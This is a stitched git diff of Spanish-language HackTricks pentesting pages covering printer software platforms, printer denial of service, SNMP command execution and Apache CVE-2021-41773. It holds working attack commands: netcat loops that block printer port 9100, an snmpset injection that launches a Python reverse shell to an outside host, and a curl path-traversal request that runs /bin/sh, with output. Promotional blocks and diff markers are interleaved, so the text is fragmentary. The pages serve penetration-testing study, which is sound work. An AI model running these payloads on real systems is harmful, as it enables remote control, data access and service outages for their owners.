La 'Arquitectura de Software Embebido' \([ESA](https://www.ricoh.com/esa/)\) [\[8\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-8) fue lanzada por Ricoh en 2004. El [SDK/J](http://www.ricoh-developer.com/content/device-sdk-type-j-sdkj-overview) basado en Java está disponible para desarrolladores después de un registro.
## Kyocera/Utax \(HyPAS\)
La 'Plataforma Híbrida para Soluciones Avanzadas' \([HyPAS](http://usa.kyoceradocumentsolutions.com/americas/jsp/Kyocera/hypas_overview.jsp)\) [\[9\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-9) ha sido lanzada por Kyocera en 2008. Las aplicaciones se basan ya sea en Java o en servicios web. El [SDK](https://www.kyoceradocumentsolutions.eu/index/document_solutions/HyPAS/hypas_developer_partner.html) solo está disponible para miembros del 'Programa de Socios de Desarrollo HyPAS' y las aplicaciones tienen que ser aprobadas por Kyocera.
## Konica Minolta \(bEST\)
La 'Tecnología de Solución Extendida bizhub' \([bEST](https://best.kmbs.us/)\) [\[10\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-10) que se basa en servicios web fue introducida por Konica Minolta en 2009. El acceso al [SDK](https://best.kmbs.us/pages/levels.php) requiere 'nivel de membresía platino' en el programa de desarrolladores por una tarifa de $4,000 que está fuera del alcance para investigadores independientes.
## Toshiba \(e-BRIDGE\)
La 'Plataforma Abierta e-BRIDGE' \([e-BRIDGE](http://www.estudio.com.sg/solutions_ebridge.aspx)\) fue lanzada por Toshiba en 2008 para personalizar sus MFPs de alta gama basados en tecnología de servicios web. Un SDK no está disponible para el público en general.
## Sharp \(OSA\)
La 'Arquitectura de Sistemas Abiertos' \([OSA](http://siica.sharpusa.com/Document-Systems/Sharp-OSA)\) [\[11\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-11) fue anunciada por Sharp en 2004. El [SDK](http://sharp-partners.com/us/PartnerPrograms/DeveloperProgram/tabid/722/Default.aspx) utilizado para desarrollar servicios web es de pago y las aplicaciones necesitan ser validadas por Sharp antes de que puedan ser instaladas en un MFP.
## Oki \(sXP\)
La 'Plataforma Extensible Inteligente' \([sXP](http://www.oki.com/en/press/2014/09/z14053e.html)\) [\[12\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-12) que se basa en servicios web fue lanzada por Oki Data en 2013 para sus dispositivos MFP. Oki no publica ninguna información respecto a un programa oficial de desarrolladores o SDK disponible públicamente.
# Resultados
En impresoras láser HP antiguas, se puede ejecutar bytecode Java arbitrario como demostraron [\[3\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-phenoelit2002embedded-3) y [\[4\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-mueller2016printers-4). La seguridad se basa en la contraseña del servidor web embebido que se puede recuperar fácilmente con PostScript o evitada restaurando los valores de fábrica. Es difícil hacer una declaración razonada sobre la seguridad de otras plataformas de software debido a la falta de acceso al SDK y/o documentación técnica adecuada. A continuación se presenta una comparación de plataformas, tecnologías aplicadas y donde se conoce procedimientos de despliegue de paquetes de software:
| Proveedor | Plataforma | Java Embebido | Servicios Web | Despliegue |
| :--- | :--- | :--- | :--- | :--- |
| HP | Chai/OXP | ✔ | ✔ | servidor web |
| Xerox/Dell | EIP | | ✔ | desconocido |
| Canon | MEAP | ✔ | ✔ | desconocido |
| Brother | BSI | | ✔ | desconocido |
| Lexmark | eSF | ✔ | | desconocido |
| Samsung | XOA | ✔ | ✔ | servidor web |
| Ricoh | ESA | ✔ | | desconocido |
| Kyocera/Utax | HyPAS | ✔ | ✔ | unidad USB |
| Konica Minolta | bEST | | ✔ | desconocido |
| Toshiba | e-Bridge | | ✔ | desconocido |
| Sharp | OSA | | ✔ | desconocido |
| Oki | sXP | | ✔ | desconocido |
## **¿Cómo probar este ataque?**
Obtén un SDK y escribe tu propia aplicación de prueba de concepto o encuentra una 'aplicación de impresora' que ya haga lo que quieres \(por ejemplo, subir automáticamente documentos escaneados a FTP\). También verifica qué mecanismos de protección existen para instalar software personalizado en el dispositivo.
## **¿Quién puede realizar este ataque?**
Dependiendo de cómo se desplieguen los paquetes de software.
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al grupo de** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,14 +1,29 @@
Si los trabajos de impresión se procesan en serie, lo que se asume para la mayoría de los dispositivos, solo se puede manejar un trabajo a la vez. Si este trabajo no termina, el canal de impresión queda bloqueado hasta que se activa un tiempo de espera, lo que impide que los usuarios legítimos impriman.
<details>
DoS básico:
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github.
</details>
Si los trabajos de impresión se procesan en serie lo cual se asume para la mayoría de los dispositivos solo se puede manejar un trabajo a la vez. Si este trabajo no termina, el canal de impresión efectivamente queda bloqueado hasta que se activa un tiempo de espera, impidiendo que los usuarios legítimos puedan imprimir.
DoS Básico:
```bash
while true; do nc printer 9100; done
```
Este ataque trivial de denegación de servicio puede mejorarse **configurando un valor alto de tiempo de espera con PJL**, de esta manera se minimiza el número de conexiones que un atacante puede hacer, mientras que se hace aún más difícil para los usuarios legítimos obtener un espacio de tiempo libre:
Este ataque trivial de denegación de servicio puede mejorarse **estableciendo un valor de tiempo de espera alto con PJL**, luego el número de conexiones que un atacante debe realizar se minimiza mientras que es aún más difícil para los usuarios legítimos obtener un intervalo de tiempo libre:
```bash
# get maximum timeout value with PJL
MAX="`echo "@PJL INFO VARIABLES" | nc -w3 printer 9100 |\
grep -E -A2 '^TIMEOUT=' | tail -n1 | awk '{print $1}'`"
grep -E -A2 '^TIMEOUT=' | tail -n1 | awk '{print $1}'`"
# connect and set maximum timeout for current job with PJL
while true; do echo "@PJL SET TIMEOUT=$MAX" | nc printer 9100; done
```
@ -20,27 +35,25 @@ Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> env timeout
TIMEOUT=15 [2 RANGE]
5
300
5
300
```
Mientras que la referencia PJL especifica un tiempo máximo de espera de 300 segundos, en la práctica los tiempos de espera máximos de PJL pueden variar de 15 a 2147483 segundos.\
Tenga en cuenta que incluso los trabajos de impresión recibidos de otros canales de impresión como IPP o LPD ya no se procesan siempre y cuando se mantenga abierta la conexión.
Mientras que la referencia PJL especifica un tiempo máximo de espera de 300 segundos, en la práctica los tiempos máximos de espera PJL pueden variar de 15 a 2147483 segundos.
Tenga en cuenta que incluso los trabajos de impresión recibidos de otros canales de impresión como IPP o LPD no se procesan más mientras la conexión se mantenga abierta.
**Obtenga más información sobre este ataque en** [**http://hacking-printers.net/wiki/index.php/Transmission\_channel**](http://hacking-printers.net/wiki/index.php/Transmission\_channel)
**Aprende más sobre este ataque en** [**http://hacking-printers.net/wiki/index.php/Transmission\_channel**](http://hacking-printers.net/wiki/index.php/Transmission\_channel)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al grupo de** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) o al grupo de [**telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github.
</details>

View file

@ -1,31 +1,29 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/es/metodologias/pentesting-cloud"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Este post fue copiado de [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
SNMP a veces es pasado por alto por el administrador del dispositivo o servidor donde se deja en una configuración predeterminada. La comunidad SNMP con permisos de escritura (**rwcommunity**) en el sistema operativo Linux puede ser abusada para permitir que el atacante ejecute un comando en el servidor.
SNMP a veces es pasado por alto por el administrador del dispositivo o servidor donde se deja en una configuración predeterminada. La comunidad SNMP con permisos de escritura (**rwcommunity**) en el sistema operativo Linux puede ser abusada para permitir al atacante ejecutar un comando en el servidor.
![](https://rioasmara.files.wordpress.com/2021/02/image-6.png?w=508)
# **Ampliando los servicios**
# **Extendiendo los Servicios**
Aunque no se pueden modificar las entradas existentes que se configuraron en **snmpd.conf**, es posible agregar comandos adicionales a través de SNMP, porque la configuración de permisos "MAX-ACCESS" en la definición MIB está establecida en "**read-create**".
Aunque no puedas modificar las entradas existentes que fueron configuradas en **snmpd.conf**, es posible agregar comandos adicionales a través de SNMP, porque la configuración de permisos “MAX-ACCESS” en la definición MIB está establecida en “**read-create**”
Agregar un nuevo comando básicamente funciona agregando una fila adicional a la tabla "**nsExtendObjects**".
Agregar un nuevo comando básicamente funciona añadiendo una fila adicional a la tabla “**nsExtendObjects**”.
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
@ -36,7 +34,7 @@ Inyectando un comando para ejecutar en el servicio SNMP. **NET-SNMP-EXTEND-MIB**
![](https://rioasmara.files.wordpress.com/2021/02/image-15.png?w=916)
Ejecutando el comando que inyectamos en SNMP enumerándolo usando snmpwalk.
Ejecutando el comando que inyectamos en el SNMP enumerándolo usando snmpwalk
```bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
```
@ -44,7 +42,7 @@ Mostrando que el comando es /bin/echo.
![](https://rioasmara.files.wordpress.com/2021/02/image-11.png?w=569)
El comando se ejecutará cuando se lea. **run-on-read\(\)**
El comando se ejecutará cuando sea leído. **run-on-read\(\)**
![](https://rioasmara.files.wordpress.com/2021/02/image-12.png?w=612)
@ -54,45 +52,47 @@ El comando **/bin/echo "hello rio is here"** se ejecutó durante nuestra lectura
# **Obteniendo la Shell** **desde Net-SNMP Extend**
En esta sección, me gustaría discutir cómo obtener una shell de servidor para controlar el servidor.
En esta sección, me gustaría discutir cómo obtener una shell del servidor para controlarlo.
Puede utilizar un script de Python desarrollado por **mxrch** que se puede descargar desde [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)
Puedes usar el script de python desarrollado por **mxrch** que se puede descargar desde [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)
Puede instalar el pre-requisito para ejecutar esto:
Puedes instalar el pre-requisito para ejecutar esto:
```bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
```
**Creando shell inversa**
![](https://rioasmara.files.wordpress.com/2021/02/image-18.png?w=723)
También puedes crear una shell inversa manualmente inyectando el siguiente comando en el SNMP.
**Creación de shell inversa**
También puedes crear una shell inversa manualmente inyectando el siguiente comando en el SNMP
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```
```
ejecute snmpwalk para activar la ejecución del comando
![](https://rioasmara.files.wordpress.com/2021/02/image-19.png?w=930)
Ejecuta el comando snmpwalk para activar la ejecución de comandos.
Nuestro netcat recibe la conexión reverseshell de la víctima que nos permite tomar control sobre la máquina de la víctima
![](https://rioasmara.files.wordpress.com/2021/02/image-21.png?w=687)
Nuestro netcat recibe la conexión de reverseshell de la víctima que nos permite tomar el control de la máquina víctima.
![](https://rioasmara.files.wordpress.com/2021/02/image-20.png?w=502)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
```

View file

@ -1,18 +1,32 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Encuentra vulnerabilidades y configuraciones incorrectas con [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)
Encuentra vulnerabilidades y malas configuraciones con [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,10 +1,25 @@
# Extensiones PHP ejecutables
<details>
Verifique qué extensiones está ejecutando el servidor Apache. Para buscarlas, puede ejecutar:
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Extensiones ejecutables de PHP
Comprueba qué extensiones está ejecutando el servidor Apache. Para buscarlas, puedes ejecutar:
```bash
grep -R -B1 "httpd-php" /etc/apache2
grep -R -B1 "httpd-php" /etc/apache2
```
También puedes encontrar esta configuración en:
También, algunos lugares donde puedes encontrar esta configuración son:
```bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
@ -12,20 +27,6 @@ También puedes encontrar esta configuración en:
/etc/apache2/mods-enabled/php7.3.conf
```
# CVE-2021-41773
## Descripción
Apache HTTP Server 2.4.49, 2.4.50 - Path Traversal y DoS
Un atacante remoto no autenticado puede enviar una solicitud HTTP GET con una ruta de acceso especialmente diseñada utilizando caracteres de punto y barra diagonal para acceder a archivos que no están en la raíz del servidor web. Esto puede permitir la lectura de archivos que contienen información confidencial o la ejecución de código malicioso. Además, un atacante también puede utilizar esta vulnerabilidad para realizar un ataque de denegación de servicio (DoS) enviando solicitudes HTTP GET con rutas de acceso especialmente diseñadas que pueden causar que el servidor web se bloquee o se reinicie.
## Detalles técnicos
La vulnerabilidad se debe a una validación insuficiente de las rutas de acceso en el módulo mod_autoindex de Apache HTTP Server. El módulo mod_autoindex se utiliza para generar listas de directorios en el servidor web. Cuando se recibe una solicitud HTTP GET para una ruta de acceso que no existe en el servidor web, el módulo mod_autoindex intenta generar una lista de directorios para esa ruta de acceso. Si la ruta de acceso contiene caracteres de punto y barra diagonal, el módulo mod_autoindex puede generar una lista de directorios para una ruta de acceso que no está en la raíz del servidor web.
## Solución
Se recomienda actualizar a la versión 2.4.51 de Apache HTTP Server, que soluciona esta vulnerabilidad. Si no es posible actualizar, se puede mitigar la vulnerabilidad deshabilitando el módulo mod_autoindex o utilizando una regla de firewall para bloquear solicitudes HTTP GET con rutas de acceso que contengan caracteres de punto y barra diagonal.
```bash
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
@ -33,16 +34,14 @@ Linux
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
